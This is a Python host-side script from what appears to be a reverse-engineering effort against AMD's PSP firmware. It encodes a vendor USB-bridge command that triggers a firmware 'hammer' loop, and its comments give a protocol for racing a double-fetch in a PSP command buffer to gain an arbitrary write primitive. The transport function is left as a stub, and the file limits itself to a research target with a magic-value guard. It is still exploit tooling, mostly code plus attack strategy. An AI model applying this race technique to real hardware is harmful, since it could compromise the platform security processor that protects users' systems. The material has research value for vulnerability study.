1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
#!/usr/bin/env python3
"""
host_hammer.py -- host side for the gcp_hammer bridge handler (opcode 0xEB).
Builds the 16-byte vendor CDB and sends it through the ASM2464PD vendor-command
path (same mechanism tinygrad's usb.py uses for E4/E5/E7). ADAPT the `send_cdb`
body to your actual USB stack -- this file only encodes the CDB + documents the
experiment protocol; it does not assume a particular transport.
SAFETY: the handler ignores any CDB that lacks the 32-bit magic 'HMR\\x01', so a
typo here is inert rather than dangerous. Never point ADDR at anything but the
intended research target.
"""
import struct
HAMMER_OPCODE = 0xEB
HAMMER_MAGIC = b'\x48\x4D\x52\x01' # "HMR\x01"
def build_cdb(target_mc_addr: int, iters: int = 0x8000, run: bool = True) -> bytes:
"""target_mc_addr = the GPU-PCIe (MC) address of cmdBuf[0x818], i.e.
paddr2mc(cp) + 0x818 in the AM driver. iters is clamped in firmware."""
assert 0 <= target_mc_addr < (1 << 40)
flags = 0x01 if run else 0x00
cdb = bytearray(16)
cdb[0] = HAMMER_OPCODE
cdb[1] = flags
cdb[2:6] = HAMMER_MAGIC
cdb[6] = (target_mc_addr >> 24) & 0xFF
cdb[7] = (target_mc_addr >> 16) & 0xFF
cdb[8] = (target_mc_addr >> 8) & 0xFF
cdb[9] = (target_mc_addr) & 0xFF
cdb[10] = (target_mc_addr >> 32) & 0xFF # addr[39:32]
cdb[12] = (iters >> 8) & 0xFF
cdb[13] = (iters) & 0xFF
return bytes(cdb)
def send_cdb(dev, cdb: bytes) -> int:
"""ADAPT ME: push `cdb` out the bridge's vendor-command endpoint and return
the status byte (handler returns 0xA5 on a completed run, 0xEE on reject).
With tinygrad's usb.py this is an exec_ops() of a raw CDB op on EP 0x04."""
raise NotImplementedError("wire this to your bridge vendor-command transport")
# ---------------------------------------------------------------------------
# Experiment protocol (see amd-psp-re FINDING-GCP-FE09 Addendum 71)
# ---------------------------------------------------------------------------
# GOAL: observe one FE0A/QueryChannelType call that RETURNS CLEANLY (not the
# 0xBB/fault signature) while writing a far-OOB chosen value -- i.e. the
# cmdBuf[0x818] double-fetch was raced small->large->small. One success = a
# survivable chosen-value arbitrary write primitive.
#
# OVERLAP CONSTRAINT: the ASM2464PD is a single 8051. It cannot forward host
# commands while it is in the hammer loop, so the hammer must overlap the PSP's
# autonomous FE0A execution. Two workable orderings:
#
# (A) Combined trigger (recommended): extend gcp_hammer_handler to issue the
# PSP ring doorbell (one PCIe register write; compile-time constants in
# the C file) *then* enter the loop. Host pre-stages the ring entry + cmd
# buffer; the bridge fires the doorbell and immediately hammers, so the
# PSP reads cmdBuf[0x818] mid-hammer.
#
# (B) Observability-first: before chasing survival, just prove the PSP ever
# sees two different values. Stage an FE0A whose outcome differs between
# "0x818 large" (write+fault) and "0x818 small" (bound-fail, no write),
# run (A), and look for the mixed outcome (bound passed AND no fault).
#
# WIN DETECTION: after the FE0A call, read the response status word; a normal
# status with the chosen value present at the OOB target (and no C2PMSG fault
# dump) is the success. Expect to repeat many times -- it is a probabilistic
# 3-point race; each miss that faults costs an ATX power cycle, so script that.
#
# Example (pseudocode, fill in your handshake + trigger):
# PARAMS_VA = 0x04024000 # pinned cmd-buffer VA (Addendum 50)
# target = adev.paddr2mc(cp) + 0x818
# cdb = build_cdb(target, iters=0x8000)
# # ... stage FE07(set cmdBuf[6]=chosen) / FE08 / FE09 / FE0A(sel 2, far-OOB
# # offset in cmdBuf[0x82C]); arm the PSP ring entry ...
# status = send_cdb(dev, cdb) # bridge: (doorbell then) hammer
# # ... read FE0A response + check for survival/landed write ...
if __name__ == '__main__':
import sys
tgt = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0x0
print('example CDB for target %#x:' % tgt, build_cdb(tgt).hex(' '))
|